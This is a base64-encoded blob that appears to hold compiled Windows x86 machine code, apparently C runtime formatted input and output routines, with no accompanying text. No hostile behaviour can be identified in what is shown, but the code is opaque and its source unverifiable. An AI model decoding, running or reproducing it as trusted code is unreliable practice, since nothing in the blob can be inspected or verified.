oDCD//1lZ/3X4/xVEcEIAU/918P8VGHBCAItF7F9eW8nDVYvsgexkAQAAuMjPRACJRbSJRby4/MVDAFMz24mFUP///4mFYP///7jMxUMAVr4UxkMAiYVw////iUWAjYXg/v//V4ld3IldwIld4Ild6Ild1Ild2Ild7Ild9IldsIlduIld+Im14P7//8eF5P7//7jiQwDHhej+//9BQUFBiZ3s/v//ibXw/v//x4X0/v//xOJDAMeF+P7//0JCQkKJnfz+//+JtQD////HhQT////U4kMAx4UI////Q0NDQ4mdDP///4m1EP///8eFFP////TiQwDHhRj///9EREREiZ0c////ibUg////x4Uk////BONDAMeFKP///0VFRUWJnSz///+JtTD////HhTT///8U40MAx4U4////RkZGRomdPP///4m1QP///8eFRP///zDjQwDHhUj///9HR0dHiZ1M////x4VU////UONDAMeFWP///0hISEiJnVz////HhWT///9040MAx4Vo////SUlJSYmdbP///8eFdP///5jjQwDHhXj///9KSkpKiZ18////x0WEqONDAMdFiEtLS0uJXYzHRZDoxUMAx0WUtONDAMdFmExMTEyJXZzHRagMAAAAiUWsOR0o0EQAD4V4AQAAU1NovONDAP91DP91COigT///g8QUhcAPhOkAAAD/NUTRRAC5oMREAGoE6OYf//+L+FlZO/sPhK4DAACLRwiJRbCLRxCJRbiNRfRoOAQAAFDonAMAAFlZhcAPhG8DAABW/3X0jYW0/v//6BEm//9ZWYXAdHr/dQyLhbT+////dQiJhdD+//+Lhbj+//+JhdT+//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FkP7//+jt+P//iYWY/v//g71k/v//AHUHg42M/v///w+2hZj+///ra4uFjP7///+NjP7//4XAdGeKhZj+//+LjXj+////hXT+//+IBAuNhVz+//9QjYWc/v//UENTjb14/v//jbVU/v//6Nn3//+DxAyFwA+E6AgAAIuVhP7///+FkP7//+hs+P//iYWY/v//D7bAUP8VyHRCAFmFwHWJ/xXgdEIAiwCKAIiFRP7//zqFmP7//w+F5gAAAIuFjP7///+NjP7//4XAD4TSAAAAi5WE/v///4WQ/v//6Bb4//+LjXj+//+JhZj+//+KhUT+//+IBAuNhVz+//9QjYWc/v//UENTjb14/v//jbVU/v//6DH3//+DxAyFwA+EQAgAAA+2hZj+///ra4uFjP7///+NjP7//4XAdGeLhXj+//+KjZj+////hXT+//+IDAONhVz+//9QjYWc/v//UENTjb14/v//jbVU/v//6Nf2//+DxAyFwA+E5gcAAIuVhP7///+FkP7//+hq9///iYWY/v//D7bAUP8VyHRCAFmFwHWJg710/v//AA+EYAEAAIO9mP7//2V0DYO9mP7//0UPhUoBAACLhYz+////jYz+//+FwA+ENgEAAIuFeP7//8YEA2WNhVz+//9QjYWc/v//UENTjb14/v//jbVU/v//6ET2//+DxAyFwA+EUwcAAIuVhP7///+FkP7//+jX9v//iYWY/v//g/gtdSyLhXj+///GBAMtjYVc/v//UI2FnP7//1BDU+j+9f//g8QMhcAPhA0HAADrCYO9mP7//yt1L4uFjP7///+NjP7//4XAdQghhYz+///rF4uVhP7///+FkP7//+hu9v//iYWY/v//D7aFmP7//+tri4WM/v///42M/v//hcB0Z4uFeP7//4qNmP7///+FdP7//4gMA42FXP7//1CNhZz+//9QQ1ONvXj+//+NtVT+///oavX//4PEDIXAD4R5BgAAi5WE/v///4WQ/v//6P31//+JhZj+//8PtsBQ/xXIdEIAWYXAdYn/tYT+////jZD+////tZj+///o5/X//4O9dP7//wBZWQ+ELQYAAIC9i/7//wAPhRUFAAD/tUT+//+LhXj+////hWj+//9Q/7Vg/v//xgQDAA++hYn+//9IUOgTTgAAg8QQ6eIEAABqEFiF0g+FYAEAAP+FjP7//+lVAQAAi8OD6HAPhM8BAACD6AMPhDoBAABISA+ExQEAAIPoAw+ECvz//4PoA3QzD7YGO4WY/v//D4VqBQAA/o2D/v//gL2L/v//AA+FgAQAAIuFSP7//4mFTP7//+lvBAAAakDp7AAAAIO9mP7//yt1LP+NjP7//3UNhdJ0CcaFl/7//wHrF4uVhP7///+FkP7//+jZ9P//iYWY/v//ajBeObWY/v//D4WAAQAAi5WE/v///4WQ/v//6LP0//+JhZj+//88eHRNPFh0SceFdP7//wEAAACD+3h0G4O9ZP7//wB0Dv+NjP7//3UG/oWX/v//am/rV/+1hP7///+NkP7//1Dof/T//1lZibWY/v//6RgBAACLlYT+////hZD+///oS/T//4O9ZP7//wCJhZj+//90FoOtjP7//wKDvYz+//8BfQb+hZf+//9qeFvp2gAAAGogWIXSdAODyAGAvYr+//8AfgODyAKAvYv+//8AdAODyASNjWj+//9RV/+1hP7///+1jP7//4P7e3UmjY1g/v//UY2NkP7//1GNjZj+//9RUI2NfP7//+i29f//g8Qg6x6NjZj+//9RagBQjZ1g/v//jbWQ/v//6PPz//+DxByFwA+FAgQAAOnyAgAAxoWJ/v//AYO9mP7//y11CcaFgv7//wHrCYO9mP7//yt1LP+NjP7//3UNhdJ0CcaFl/7//wHrF4uVhP7///+FkP7//+hK8///iYWY/v//M/85vVj+//8PhFgBAACAvZf+//8AD4UbAQAAg/t4dHGD+3B0bA+2hZj+//9Q/xXIdEIAWYXAD4ThAAAAg/tvdS6DvZj+//84D43PAAAAi4Vs/v//i41w/v//D6TBA8HgA4mFbP7//4mNcP7//+tmV2oK/7Vw/v///7Vs/v//6JtLAACJhWz+//+JlXD+///rRA+2hZj+//9Q/xXcdEIAWYXAdHmLhWz+//+LjXD+////tZj+//8PpMEEweAEiYVs/v//iY1w/v//6FXy//9ZiYWY/v//i4WY/v///4V0/v//g8DQmQGFbP7//xGVcP7//zm9ZP7//3QI/42M/v//dDWLlYT+////hZD+///oMvL//4mFmP7//+n+/v///7WE/v///42Q/v///7WY/v//6Cby//9ZWYC9gv7//wAPhAMBAACLhWz+//+LjXD+///32BPP99mJhWz+//+JjXD+///p4AAAAIC9l/7//wCLtVD+//8PhbwAAACD+3h0NIP7cHQvD7aFmP7//1D/Fch0QgBZhcAPhIIAAACD+291DoO9mP7//zh9dMHmA+sta/YK6ygPtoWY/v//UP8V3HRCAFmFwHRX/7WY/v//weYE6FDx//9ZiYWY/v//i4WY/v///4V0/v//jXQG0Im1UP7//zm9ZP7//3QI/42M/v//dDWLlYT+////hZD+///oM/H//4mFmP7//+ld/////7WE/v///42Q/v///7WY/v//6Cfx//9ZWYC9gv7//wB0CPfeibVQ/v//g/tGdQaJvXT+//85vXT+//8PhFIBAACAvYv+//8AdT7/hWj+//+LjWD+//+LhVD+//+DvVj+//8AdBOLhWz+//+JAYuFcP7//4lBBOsQgL2J/v//AHQEiQHrA2aJAf6Fg/7///+FfP7//4u9fP7//+thi7WE/v///4WQ/v//i9boefD//4vYD7YHR4mdmP7//4m9fP7//zvDD4W1AAAAD7bDUP8V2HRCAFmFwHQl/4WQ/v//i9boQ/D//w+2D0eJvXz+//87yA+FiwAAAP+NkP7//4O9mP7///91F4A/JQ+FhAAAAIuFfP7//4B4AW51eIv4igeEwA+Fu/P//+tq/7WE/v///7WY/v//6ATw//9ZWetVgL2K/v//AH4HM8BmiQHrA8YBAP8VNHRCAMcADAAAAOs0/7WE/v///7WY/v//6M7v//9ZWceFQP7//wEAAADrFVZT67NWUOi17///VlPoru///4PEEIO9XP7//wFbdQ3/tXj+////FTh0QgBZg72Y/v///3UXi4Vo/v//hcB1LziFg/7//3Ung8j/6yKDvUD+//8BdRP/FTR0QgCLtWj+//8z/+m+8v//i4Vo/v//XotN/DPNX+iq5P//ycOL/1WL7ItFCIPsIFYz9jvGdR7/FTR0QgBWVlZWVscAFgAAAOhq5P//g8QUg8j/6zI5dRB03YtNDIH5////f3fS/3UUiUXo/3UQiUXgjUXgUMdF7EkAAAC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7aEENB1QgDB6ASJhcD9//+D+AgPhGT///9qB1o7wg+HVgkAAP8khdIkQgCDjej9////ibXE/f//ibWw/f//ibXM/f//ibXQ/f//ibXw/f//ibXI/f//6S0JAAAPvsGD6CB0SoPoA3Q2g+gIdCVISHQVg+gDD4UACQAAg43w/f//COkCCQAAg43w/f//BOn2CAAAg43w/f//AenqCAAAgY3w/f//gAAAAOnbCAAAg43w/f//AunPCAAAgPkqdSuLB4PHBDvGib3c/f//iYXM/f//D42xCAAAg43w/f//BPedzP3//+mfCAAAi4XM/f//a8AKD77JjUQI0ImFzP3//+mECAAAibXo/f//6XkIAACA+Sp1JYsHg8cEO8aJvdz9//+Jhej9//8PjVsIAACDjej9////6U8IAACLhej9//9rwAoPvsmNRAjQiYXo/f//6TQIAACA+Ul0T4D5aHQ+gPlsdBiA+XcPhRwIAACBjfD9//8ACAAA6Q0IAACAO2x1EEOBjfD9//8AEAAA6fgHAACDjfD9//8Q6ewHAACDjfD9//8g6eAHAACKAzw2dReAewE0dRFDQ4GN8P3//wCAAADpwwcAADwzdReAewEydRFDQ4Gl8P3///9////pqAcAADxkD4SgBwAAPGkPhJgHAAA8bw+EkAcAADx1D4SIBwAAPHgPhIAHAAA8WA+EeAcAAIm1wP3//w+2wVCJtcj9////Fdh0QgBZhcB0KIuNtP3//4qF7/3//4212P3//+iX+v//igNDiIXv/f//hMAPhEgHAACLjbT9//+Khe/9//+Ntdj9///ob/r//+kXBwAAD77Bg/hkD48WAgAAD4RnAgAAg/hTD4/yAAAAD4SAAAAAg+hBdBBISHRYSEh0CEhID4VFBQAAgMEgx4XE/f//AQAAAIiN7/3//4ON8P3//0A5tej9//+NhfT9//+JheT9//+4AAIAAImFrP3//w+NNQIAAMeF6P3//wYAAADplAIAAPeF8P3//zAIAAAPhZgAAACBjfD9//8ACAAA6YkAAAD3hfD9//8wCAAAdQqBjfD9//8ACAAAi43o/f//g/n/dQW5////f4PHBPeF8P3//xAIAACJvdz9//+Lf/yJveT9//8PhGQEAAA7/nULoRSwRACJheT9//+LheT9///Hhcj9//8BAAAA6TIEAACD6FgPhI0CAABISHR5K8IPhCf///9ISA+FUQQAAIPHBPeF8P3//xAIAACJvdz9//90MA+3R/xQaAACAACNhfT9//9QjYXg/f//UOhm+v//g8QQhcB0H8eFsP3//wEAAADrE4pH/IiF9P3//8eF4P3//wEAAACNhfT9//+JheT9///p6AMAAIsHg8cEib3c/f//O8Z0ZItwBDP/O/d0Ww+3CGY5SAIPgowFAAD3hfD9//8ACAAAD7fBdC4zyYvQ99JBhNEPhG4FAACL1vfShNEPhGIFAACJteT9///R6ImNyP3//+mAAwAAib3I/f//ibXk/f//6W8DAAChELBEAImF5P3//41QAYoIQITJdfkrwulTAwAAg/hwD4+AAQAAD4RoAQAAg/hlD4xBAwAAg/hnD44G/v//g/hpdDGD+G4PhL36//+D+G8PhSEDAAD2hfD9//+Ax4Xg/f//CAAAAHQdgY3w/f//AAIAAOsRg43w/f//QMeF4P3//woAAACLhfD9//+pAIAAAA+EbwEAAIsHi1cEg8cI6ZcBAAB1EYD5Z3Vnx4Xo/f//AQAAAOtbOYXo/f//fgaJhej9//+7owAAADmd6P3//346i7Xo/f//gcZdAQAAVv8VcHRCAFmKje/9//+Jhbz9//+FwHQOiYXk/f//ibWs/f//6w6Jnej9///rBoqN7/3///aF8P3//4B0CoGNxP3//4AAAACLB/+1xP3//4u15P3///+16P3//4PHCImFmP3//4tH/ImFnP3//w++wVD/taz9//+NhZj9//9WUIm93P3//+il9///g8QYgD4tdRCBjfD9//8AAQAA/4Xk/f//i4Xk/f//jVABighAhMl1+emC/v//x4Xo/f//CAAAAImVuP3//+skg+hzD4QD/f//SEgPhMT+//+D6AMPhbYBAADHhbj9//8nAAAA9oXw/f//gMeF4P3//xAAAAAPhKT+//+Khbj9//8EUcaF1P3//zCIhdX9///HhdD9//8CAAAA6YD+//+pABAAAA+Fhv7//4PHBKggdBeJvdz9//+oQHQGD79H/OsED7dH/JnrEqhAi0f8dAOZ6wIz0om93P3///aF8P3//0B0GzvWfxd8BDvGcxH32IPSAPfagY3w/f//AAEAAPeF8P3//wCQAACL2ov4dQIz24O96P3//wB9DMeF6P3//wEAAADrGoOl8P3///e4AAIAADmF6P3//34GiYXo/f//i8cLw3UGIYXQ/f//jXXzi4Xo/f///43o/f//hcB/BovHC8N0LYuF4P3//5lSUFNX6L7i//+DwTCD+TmJnaz9//+L+IvafgYDjbj9//+IDk7rvY1F8yvGRveF8P3//wACAACJheD9//+JteT9//90YYXAdAeLzoA5MHRW/43k/f//i43k/f//xgEwQOs+SWY5MHQGQEA7znX0K4Xk/f//0fjrKDv+dQuhELBEAImF5P3//4uF5P3//+sHSYA4AHQFQDvOdfUrheT9//+JheD9//+DvbD9//8AD4VmAQAAi4Xw/f//qEB0MqkAAQAAdAnGhdT9//8t6xioAXQJxoXU/f//K+sLqAJ0EcaF1P3//yDHhdD9//8BAAAAi53M/f//K53g/f//K53Q/f//9oXw/f//DHUX/7W0/f//jYXY/f//U2og6Kr0//+DxAz/tdD9//+LvbT9//+Nhdj9//+NjdT9///osPT///aF8P3//whZdBv2hfD9//8EdRJXU2owjYXY/f//6Gj0//+DxAyDvcj9//8AdHGDveD9//8AfmiLheD9//+LteT9//+Jhaz9//8Ptwb/jaz9//9QagaNRfRQjYWk/f//RlBG6Ej1//+DxBCFwHUoOYWk/f//dCD/taT9//+Nhdj9//+NTfToJvT//4O9rP3//wBZdbXrIYON2P3////rGP+14P3//4uN5P3//42F2P3//+j68///WYO92P3//wB8G/aF8P3//wR0EldTaiCNhdj9///osvP//4PEDIO9vP3//wB0FP+1vP3///8VOHRCAIOlvP3//wBZi52g/f//i73c/f//M/aKA4iF7/3//4TAdC+KyOkv9v///xU0dEIAxwAWAAAAM8BQUFBQUOnb9f///xU0dEIAV1dXV1fpxfX//zm1wP3//3QNg73A/f//Bw+FpfX//4uF2P3//4tN/F9eM81b6DHX///Jw5D6HEIADxtCAD8bQgCdG0IA6BtCAPMbQgA4HEIAUx1CAIv/VYvsg+wgV4t9DIP//3UJx0Xk////f+srgf////9/diD/FTR0QgDHABYAAAAzwFBQUFBQ6L7W//+DxBSDyP/raol95FNW/3UUi3UI/3UQjUXgUIl16Il14MdF7EIAAADopvT//4vYM8CDxAw72IhEPv99ETlF5HwtO/B0JTv4diGIBusd/03keAeLTeCIAesRjU3gUVDoBjoAAFlZg/j/dASLw+sDav5YXltfycOLSAz2wUB0BoN4CAB0NYNABP66//8AAHgNiwhmiTGDAAIPt87rCIPJIIlIDIvKZjvKdRBQ/xUgdEIAWYXAdASDD//D/wfDi/9Vi+yDfQwAV4v4fhtWi0UQi3UI/00M6J3///+DP/90BoN9DAB/515fXcOL/1WL7PZDDEBXi/h0DYN7CAB1B4tFDAEH6zyDfQwAfjZWi0UID7cw/00Mi8PoXP///4NFCAKDP/91Ff8VNHRCAIM4KnUQaj+Lw17oPv///4N9DAB/zF5fXcOL/1WL7IHsaAQAAKEAsEQAM8WJRfyLRQhTi10QVot1DFcz/4mF2Pv//4md6Pv//4m9tPv//4m9+Pv//4m90Pv//4m99Pv//4m93Pv//4m9yPv//4m9rPv//4m91Pv//zvHdSH/FTR0QgBXV1dXV8cAFgAAAOgE1f//g8QUg8j/6T8KAAA793TbD7cOib3g+///ib3s+///ib3A+///ib24+///iY3k+///ZjvPD4QLCgAARkY5veD7//+JtbD7//8PjOIJAACNQeBmg/hYdw8Pt8EPtoCwdUIAg+AP6wIzwIuVwPv//2vACQ+2hBDQdUIAagjB6ARaiYXA+///O8IPhF7///+D+AcPh3cJAAD/JIVBMUIAg430+////4m9yPv//4m9rPv//4m90Pv//4m93Pv//4m9+Pv//4m91Pv//+lOCQAAD7fBg+ggdEiD6AN0NCvCdCRISHQUg+gDD4UiCQAACZX4+///6SUJAACDjfj7//8E6RkJAACDjfj7//8B6Q0JAACBjfj7//+AAAAA6f4IAACDjfj7//8C6fIIAABmg/kqdSuLA4PDBDvHiZ3o+///iYXQ+///D43TCAAAg434+///BPed0Pv//+nBCAAAi4XQ+///a8AKD7fJjUQI0ImF0Pv//+mmCAAAib30+///6ZsIAABmg/kqdSWLA4PDBDvHiZ3o+///iYX0+///D418CAAAg430+////+lwCAAAi4X0+///a8AKD7fJjUQI0ImF9Pv//+lVCAAAD7fBg/hJdFGD+Gh0QIP4bHQYg/h3D4U6CAAAgY34+///AAgAAOkrCAAAZoM+bHURRkaBjfj7//8AEAAA6RQIAACDjfj7//8Q6QgIAACDjfj7//8g6fwHAAAPtwZmg/g2dRlmg34CNHUSg8YEgY34+///AIAAAOnaBwAAZoP4M3UZZoN+AjJ1EoPGBIGl+Pv///9////puwcAAGaD+GQPhLEHAABmg/hpD4SnBwAAZoP4bw+EnQcAAGaD+HUPhJMHAABmg/h4D4SJBwAAZoP4WA+EfwcAAIm9wPv//4uF2Pv//4294Pv//4vxx4XU+///AQAAAOj9+///6U8HAAAPt8GD+GQPj0oCAAAPhJcCAACD+FMPjxMBAAB0fYPoQXQQSEh0WEhIdAhISA+FegUAAIPBIMeFyPv//wEAAACJjeT7//+Djfj7//9AOb30+///jYX8+///iYXw+///uAACAACJhcz7//8PjWkCAADHhfT7//8GAAAA6cECAAD3hfj7//8wCAAAD4XCAAAAg434+///IOm2AAAA94X4+///MAgAAHUHg434+///IIu99Pv//4P//3UFv////3+DwwT2hfj7//8giZ3o+///i1v8iZ3w+///D4SUBAAAhdt1C6EQsEQAiYXw+///g6Xs+///AIu18Pv//4X/D46sBAAAigaEwA+EogQAAA+2wFD/Fdh0QgBZhcB0AUZG/4Xs+///Ob3s+///fNfpfgQAAIPoWA+EkQIAAEhID4SKAAAAg+gHD4T9/v//SEgPhVwEAAAPtwODwwQz9kb2hfj7//8gibXU+///iZ3o+///iYWo+///dDeIhbz7//+h1HRCAMaFvfv//wD/MI2FvPv//1CNhfz7//9Q/xXQdEIAg8QMhcB9D4m1rPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+njAwAAiwODwwSJnej7//87x3Rii3AEO/d0Ww+3CGY5SAIPgjv7///3hfj7//8ACAAAD7fBdC4zyYvQ99JBhNEPhB37//+L1vfShNEPhBH7//+JtfD7///R6ImN1Pv//+l9AwAAib3U+///ibXw+///6WwDAAChELBEAImF8Pv//41QAYoIQITJdfkrwulQAwAAg/hwD491AQAAD4RdAQAAg/hlD4w+AwAAg/hnD47O/f//g/hpdC2D+G4PhKL6//+D+G8PhR4DAAD2hfj7//+AiZXk+///dB2Bjfj7//8AAgAA6xGDjfj7//9Ax4Xk+///CgAAAIuF+Pv//6kAgAAAD4RtAQAAA9qLQ/iLU/zplQEAAHUSZoP5Z3Vfx4X0+///AQAAAOtTOYX0+///fgaJhfT7//+/owAAADm99Pv//344i7X0+///gcZdAQAAVv8VcHRCAFmLjeT7//+Jhbj7//+FwHQOiYXw+///ibXM+///6waJvfT7///2hfj7//+AdAqBjcj7//+AAAAAiwP/tcj7//+LtfD7////tfT7//+DwwiJhZj7//+LQ/yJhZz7//8PvsFQ/7XM+///jYWY+///VlCJnej7///oJuv//4PEGIA+LXUQgY34+///AAEAAP+F8Pv//4uF8Pv//41QAYoIQITJdfnpjf7//4mV9Pv//8eFtPv//wcAAADrJIPocw+E0Pz//0hID4TL/v//g+gDD4W+AQAAx4W0+///JwAAAPaF+Pv//4DHheT7//8QAAAAD4Sr/v//ajBYZomFxPv//4uFtPv//4PAUWaJhcb7///Hhdz7//8CAAAA6YL+//+pABAAAA+FiP7//4PDBKggdBeJnej7//+oQHQGD79D/OsED7dD/JnrEqhAi0P8dAOZ6wIz0omd6Pv///aF+Pv//0B0GzvXfxd8BDvHcxH32IPSAPfagY34+///AAEAAPeF+Pv//wCQAACL2ov4dQIz24O99Pv//wB9DMeF9Pv//wEAAADrGoOl+Pv///e4AAIAADmF9Pv//34GiYX0+///i8cLw3UGIYXc+///jbX7/f//i4X0+////430+///hcB/BovHC8N0LYuF5Pv//5lSUFNX6DfW//+DwTCD+TmJnaT7//+L+IvafgYDjbT7//+IDk7rvY2F+/3//yvGRveF+Pv//wACAACJhez7//+JtfD7//90XoXAdAeLxoA4MHRT/43w+///i4Xw+////4Xs+///xgAw6zyF23ULoRSwRACJhfD7//+LhfD7///HhdT7//8BAAAA6wlPZoM4AHQGQECF/3XzK4Xw+///0fiJhez7//+Dvaz7//8AD4VzAQAAi4X4+///qEB0K6kAAQAAdARqLesOqAF0BGor6waoAnQUaiBZZomNxPv//8eF3Pv//wEAAACLtdD7//8rtez7//8rtdz7//+JtaT7//+oDHUX/7XY+///jYXg+///Vmog6CD2//+DxAz/tdz7//+Lndj7//+NhcT7//9QjYXg+///6Cv2///2hfj7//8IWVl0G/aF+Pv//wR1ElNWajCNheD7///o3PX//4PEDIO91Pv//wB1fIuF7Pv//4XAfnKLjfD7//+JjeT7//+Jhcz7//+h1HRCAP8w/43M+////7Xk+///jYWo+///UP8V0HRCAIvYg8QMhdt+LouF2Pv//4u1qPv//4294Pv//+gu9f//AZ3k+///g73M+///AIu1pPv//3+r6yKDjeD7////6xn/tez7//+NheD7////tfD7///oafX//1lZg73g+///AHwg9oX4+///BHQX/7XY+///jYXg+///Vmog6BX1//+DxAyDvbj7//8AdBT/tbj7////FTh0QgCDpbj7//8AWYud6Pv//4u1sPv//zP/D7cGiYXk+///ZjvHdAeLyOkK9v//Ob3A+///dA2DvcD7//8HD4Wm9f//i4Xg+///i038X14zzVvow8r//8nDi/+HKUIAgidCALInQgAOKEIAWihCAGUoQgCrKEIAqSlCAIv/VYvsg+wgU1eLfQyD//91CcdF5P///3/rMYH/////P3Yj/xU0dEIAM9tTU1NTU8cAFgAAAOhOyv//g8QUg8j/6ZEAAACNBD+JReRW/3UUi3UI/3UQjUXgUIl16Il14MdF7EIAAADooPT//zPJM9uDxAw7w4lFDGaJTH7+fRI5XeR8TzvzdE47+3ZKZokO60X/TeR4CotF4IgY/0Xg6xGNReBQU+iJLQAAWVmD+P90Iv9N5HgHi0XgiBjrEY1F4FBT6GwtAABZWYP4/3QFi0UM6wNq/lheX1vJw4v/VYvsU4seOV0ID4WBAAAAiwc7RQx1ZY1FCFBqAlmLw/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/f//6zqD+2h0KYP7bHQNg/t3dBf+hTv9///rI41GAmaDOGx0jf6FLv3///6FL/3//+sM/o0u/f///o0v/f//gL07/f//AA+E2f7//4C9J/3//wB1GYuF7Pz//4sYiYXk/P//g8AEiYXs/P//6wIz24C9L/3//wCJnfj8///GhTv9//8AdR0PtwZmg/hTdA3GhS/9//8BZoP4Q3UHxoUv/f///4uFGP3//w+3MIPOIIP+bnRKg/5jdBiD/nt0E/+1KP3//429NP3//+iP+f//6xH/tSj9////hTT9///oZCcAAA+3wImFPP3//7j//wAAWWY7hTz9//8PhI8LAACDvRT9//8AdA2DvTD9//8AD4QzCwAAio0n/f//hMl1VoP+Y3QKg/5zdAWD/nt1R4uF5Pz//4sYg8AEiYXk/P//g8AEM/+Jhez8//+LQPxHiZ34/P//iYXo/P//O8dzGoC9L/3//wAPjusKAAAzwGaJA+nkCgAAM/9Hg/5vD4/wBAAAD4QFBwAAg/5jD4TGBAAAg/5kD4TzBgAAD478BAAAg/5nfkCD/ml0HIP+bg+F6QQAAIuFNP3//4TJD4T3CQAA6R4KAABqZF5qLVhmO4U8/f//D4X/BAAAxoUl/f//Aen/BAAAai1YM9tmO4U8/f//dQ2LjRz9//9miQGL3+sMaitYZjuFPP3//3Uh/40w/f///7Uo/f///4U0/f//6CUmAAAPt8BZiYU8/f//g70U/f//AHUHg40w/f////eFPP3//wD/AAAPhY0AAAAPtoU8/f//UP8VyHRCAFmFwHR6i4Uw/f///40w/f//hcB0amYPvoU8/f//i40c/f///4Ug/f//ZokEWY2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///o0Pb//4PEDIXAD4TbCQAA/7Uo/f///4U0/f//6IMlAAAPt8BZiYU8/f//qQD/AAAPhHP////HhfD8//8uAAAA/xXgdEIAiw3UdEIA/zH/MI2F8Pz//1D/FdB0QgAPt4Xw/P//D76NPP3//4PEDDvBD4UHAQAAi4Uw/f///40w/f//hcAPhPMAAAD/tSj9////hTT9///oCSUAAIuNHP3//w+3wImFPP3//2aLhfD8//9miQRZjYUE/f//UI2FQP3//1BDU429HP3//421AP3//+j/9f//g8QQhcAPhAoJAAD3hTz9//8A/wAAD4WMAAAAD7aFPP3//1D/Fch0QgBZhcB0eYuFMP3///+NMP3//4XAdGmLhRz9//9mi408/f///4Ug/f//ZokMWI2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///oifX//4PEDIXAD4SUCAAA/7Uo/f///4U0/f//6DwkAAAPt8BZiYU8/f//qQD/AAAPhHT///+DvSD9//8AD4SVAQAAamVYZjuFPP3//3QQakVYZjuFPP3//w+FeQEAAIuFMP3///+NMP3//4XAD4RlAQAAi40c/f//amVYZokEWY2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///o7fT//4PEDIXAD4T4BwAA/7Uo/f///4U0/f//6KAjAABZD7fAai1ZiYU8/f//ZjvIdS5Ri40c/f//WGaJBFmNhQT9//9QjYVA/f//UENT6J70//+DxAyFwA+EqQcAAOsMaitYZjuFPP3//3Uzi4Uw/f///40w/f//hcB1CCGFMP3//+sb/7Uo/f///4U0/f//6CsjAAAPt8BZiYU8/f//94U8/f//AP8AAA+FjAAAAA+2hTz9//9Q/xXIdEIAWYXAdHmLhTD9////jTD9//+FwHRpi4Uc/f//ZouNPP3///+FIP3//2aJDFiNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6Ofz//+DxAyFwA+E8gYAAP+1KP3///+FNP3//+iaIgAAD7fAWYmFPP3//6kA/wAAD4R0/////7Uo/f///400/f///7U8/f//6G70//+DvSD9//8AWVkPhKYGAACAvSf9//8AD4XuBQAAi70A/f//i7Uc/f///4UI/f//M8CNfD8CV2aJBF7/FXB0QgCL2FmF2w+EawYAAFdWU/8VGHRCAP+18Pz//w++hS79//9T/7X4/P//SFDoBCAAAFP/FTh0QgCDxCDpjQUAAIO9FP3//wBqEFgPhYIBAAD/hTD9///pdwEAAIvGg+hwD4QJAgAAg+gDD4RXAQAASEgPhP8BAACD6AMPhDL7//+D6AN0NWaLhTz9//+LlRj9//9mOQIPhbYFAAD+jSb9//+EyQ+FJAUAAIuF5Pz//4mF7Pz//+kTBQAAakDpBwEAAGorWGY7hTz9//91Nf+NMP3//3USg70U/f//AHQJxoU7/f//Aesb/7Uo/f///4U0/f//6DkhAAAPt8BZiYU8/f//ajBYZjuFPP3//w+FugEAAP+1KP3///+FNP3//+gOIQAAWQ+3wGp4WYmFPP3//2Y7yHRQalhZZjvIdEiJvSD9//+D/nh0G4O9FP3//wB0Dv+NMP3//3UG/oU7/f//am/rXf+1KP3///+NNP3//1DovPL//1nHhTz9//8wAAAA6UYBAAD/tSj9////hTT9///omyAAAIO9FP3//wAPt8BZiYU8/f//dBWDrTD9//8COb0w/f//fQb+hTv9//9qeF7pBgEAAGogg70U/f//AFh0AgvHgL0v/f//AH4Dg8gChMl0A4PIBIP+e3VAjY0I/f//Uf+16Pz//42N+Pz///+1KP3///+1MP3//1GNjTT9//9RjY08/f//UY2NGP3//1FQ6Dr0//+DxCTrNv+16Pz//42NPP3///+1MP3//42VCP3//1GLjSj9//9qAFCNnfj8//+NvTT9///oHfL//4PEFIXAD4UOBAAA6V4DAADGhS79//8Bai1YZjuFPP3//3UJxoUl/f//AesMaitYZjuFPP3//3U1/40w/f//dRKDvRT9//8AdAnGhTv9//8B6xv/tSj9////hTT9///obx8AAA+3wImFPP3//1mDvfz8//8AD4SLAQAAgL07/f//AA+FTQEAALsA/wAAg/54D4SBAAAAg/5wdHyFnTz9//8PhRUBAAAPtoU8/f//UP8VyHRCAFmFwA+E/gAAAIP+b3UxajhYZjuFPP3//w+G6QAAAIuFDP3//4uNEP3//w+kwQPB4AOJhQz9//+JjRD9///remoAagr/tRD9////tQz9///oHx0AAImFDP3//4mVEP3//+tXhZ08/f//D4WZAAAAD7aFPP3//1D/Fdx0QgBZhcAPhIIAAACLhQz9//+LjRD9////tTz9//8PpMEEweAEiYUM/f//iY0Q/f//6Djw//8Pt8BZiYU8/f//D7eFPP3///+FIP3//4PoMJkBhQz9//8RlRD9//+DvRT9//8AdAj/jTD9//90Of+1KP3///+FNP3//+gmHgAAD7fAWYmFPP3//+nR/v///7Uo/f///400/f///7U8/f//6ADw//9ZWYC9Jf3//wAPhC0BAACLhQz9//+LjRD9///32IPRAPfZiYUM/f//iY0Q/f//6QkBAACAvTv9//8Ai530/P//D4XlAAAAvwD/AACD/nh0R4P+cHRChb08/f//D4WxAAAAD7aFPP3//1D/Fch0QgBZhcAPhJoAAACD/m91FWo4WGY7hTz9//8PhoUAAADB4wPrOGvbCuszhb08/f//dXMPtoU8/f//UP8V3HRCAFmFwHRg/7U8/f//weME6Anv//8Pt8BZiYU8/f//D7eFPP3///+FIP3//4O9FP3//wCNXAPQiZ30/P//dAj/jTD9//90Of+1KP3///+FNP3//+j9HAAAD7fAWYmFPP3//+k5/////7Uo/f///400/f///7U8/f//6Nfu//9ZWYC9Jf3//wB0CPfbiZ30/P//g/5GdQeDpSD9//8Ag70g/f//AA+E8gAAAIC9J/3//wB1Pv+FCP3//4ud+Pz//4uF9Pz//4O9/Pz//wB0E4uFDP3//4kDi4UQ/f//iUME6xCAvS79//8AdASJA+sDZokDg4UY/f//Av6FJv3//4u1GP3//zP/6yX/tSj9////hTT9///oPBwAAFlmiw4Pt8BGRomFPP3//2Y7yHVhuP//AABmO4U8/f//dQ1mgz4ldVtmg34CbnVUD7cGZjvHD4U88v//60b/tSj9////tTz9///rMcYDAP8VNHRCAMcADAAAAOsn/7Uo/f///7U8/f//6M/t//+JveD8///rDP+1KP3//1Dou+3//1lZg70E/f//AVt1Df+1HP3///8VOHRCAFm4//8AAGY7hTz9//91FIuFCP3//4XAdSw4hSb9//91JOsig73g/P//AXUT/xU0dEIAi70I/f//M/bpXfH//4uFCP3//1+LTfwzzV7oR7b//8nDi/9Vi+yLRQiD7CBWM/Y7xnUe/xU0dEIAVlZWVlbHABYAAADoB7b//4PEFIPI